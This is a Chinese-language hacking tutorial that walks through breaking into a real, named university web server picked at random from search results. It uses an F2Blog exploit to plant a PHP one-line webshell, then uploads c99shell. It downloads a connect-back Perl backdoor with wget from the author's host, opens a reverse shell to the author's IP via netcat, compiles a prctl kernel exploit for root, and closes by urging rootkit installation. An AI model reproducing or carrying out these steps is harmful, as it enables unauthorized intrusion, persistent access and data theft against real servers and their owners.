很早就想写一篇从基本的Web漏洞到最后的Root权限的全过程展现的文章,但是一直苦于没有时间,最近比较轻松,所以抓紧时间写出了本文。废话不多说了,还是一起来看文章吧。
经常看黑防的朋友一定知道F2Blog的漏洞利用,这次我们讲解地就是利用F2Blog拿到WebShell到最后获得Root的过程,相信这里面有很多的技巧大家可以学到。
首先到milw0rm.com搜索F2Blog的漏洞利用程序并下载回来。有了EXP,我们就可以利用Google轻松地搜索到很多这样的程序,我们在结果中随便挑选一个站点http://www.jwit.edu.tw/~s9246071/blog/作为我们今天的目标。首先把EXP保存到C:\usr\local\php5,因为我用的是WAPM,大家可以到http://www.wapm.cn/下载。好了,我们进入PHP的目录执行EXP,如图1所示,这就是f2blog.php的运行界面。根据EXP的要求,我们填写参数并执行,如图2所示。大概等了有3分钟的时间,出现如图3所示的画面就表示我们已经成功了,得到了一个一句话的PHP木马,地址是http://www.jwit.edu.tw/~s9246071/blog/cache/loveshell.php。
拿出lanker写的ASP&PHP一句话木马客户端连接我们可爱的小木马,如图4所示,我们就成功地拿到了一个WebShell了。但是这样的WebShell毕竟很难受,再利用lanker的客户端上传一个大马上去吧。我们先得到Web的路径为“/home3/s9246071/public_html/blog/cache”,有了路径就可以用上传功能了,上传一个c99shell木马,成功后访问它,如图5所示,这台机器真不错啊,竟有602G的硬盘容量!我习惯性地看了看自己的权限,在Command execute里面输入“id;uname a”得到了以下的结果:uid=30(wwwrun) gid=8(www) groups=8(www) Linux www 2.6.5-7.257-bigsmp #1 SMP Mon May 15 14:14:14 UTC 2006 i686 i686 i386 GNU/Linux,内核是2.6.5版的,操作系统是SuSe9.0。
虽然我们已经有了WebShell,但这还不够,我们要运行本地的提权工具就必须拿到一个本地的Shell才可以。在命令里输入“cat /etc/passwd”可以得到一些用户,可以利用流光试一下看看有没有弱智的用户,当然我是不会这样的浪费时间的,而是直接用comeback后门,让服务器连接到我自己的机器上。首先把comeback后门上传到我的空间http://cnbird.ifastnet.com/comeback.pl,然后在WebShell里执行命令“wget http://cnbird.ifastnet.com/comeback.pl -P /tmp”,意思是把comeback.pl下载到“/tmp”目录下。了解Unix的朋友都应该知道,“/tmp”目录的权限是可读可写的。如图6所示,我们已经把comeback后门成功上传了,下面在WebShell下执行吧!输入命令“perl /tmp/comeback.pl”,结果为“Connect Back Backdoor by Ch3m0nZ - Satanic Souls Alv /tmp/comeback.pl [Host] ”,这条命令是告诉我们后门的具体利用方法。先看一下我自己的IP地址,然后用NC绑定一个端口就OK了。我本机的IP地址是121.16.23.25,在CMD输入“nc.exe -vv -l -p 12345”,意思是在本地开一个12345端口,让远程机器通过这个端口来连接。再回到WebShell里执行“perl /tmp/comeback.pl 121.16.23.25 12345”,如图7所示,NC已经有反应了,我们就可以在这里执行Shell了,嘿嘿。为了让这个Shell更直观一些,我直接输入“bash i”,然后再输入以下的基本命令:who、w、ls和pwd,这些命令的意义,不懂的朋友可以用Google查找。
这样我们就得到了一个Shell了,接下来要做的事就是提权了。Linux有一个PCTRL的本地溢出漏洞,我们就先看一下漏洞描述吧!Linux Kernel的prctl()调用在处理Core Dump时存在漏洞,本地攻击者可能利用此漏洞提升自己的权限。prctl()调用允许未授权进程设置PR_SET_DUMPABLE=2,因此当发生段错误时产生的Core文件将被Root用户拥有。本地用户可以创建恶意程序,将Core文件Dump到正常情况下无权写入的目录中,这可能导致拒绝服务或获得Root权限。我们到Google搜索这个漏洞的EXP,很快就找到了利用程序prtcl.c,把它放到本地架设的服务器上。在Shell里执行命令“wget http://121.16.23.25/prtcl2.c”,就可以成功上传到服务器了,下面开始编译执行吧。由于这个漏洞程序需要静态的编译,所以执行命令“gcc prtcl2.c -o local -static Wall”,编译成功后,我们输入wwwrun@www:/tmp>./local,程序就开始执行了,等待1分钟左右的时间,输入命令“id”,可以发现这个时候我们已经是Root权限了,如图8所示。
剩下的事情就是装个Rootkit了,目前比较经典的有Adore-NG、SK2.0等,安装方法这里就不再介绍了。如果有不熟悉Rootkit的朋友,可以参考网上的一篇很经典的Rootkit文章,其地址http://baoz.net/html/document/200603/1143618484.html,希望能对大家有所帮助。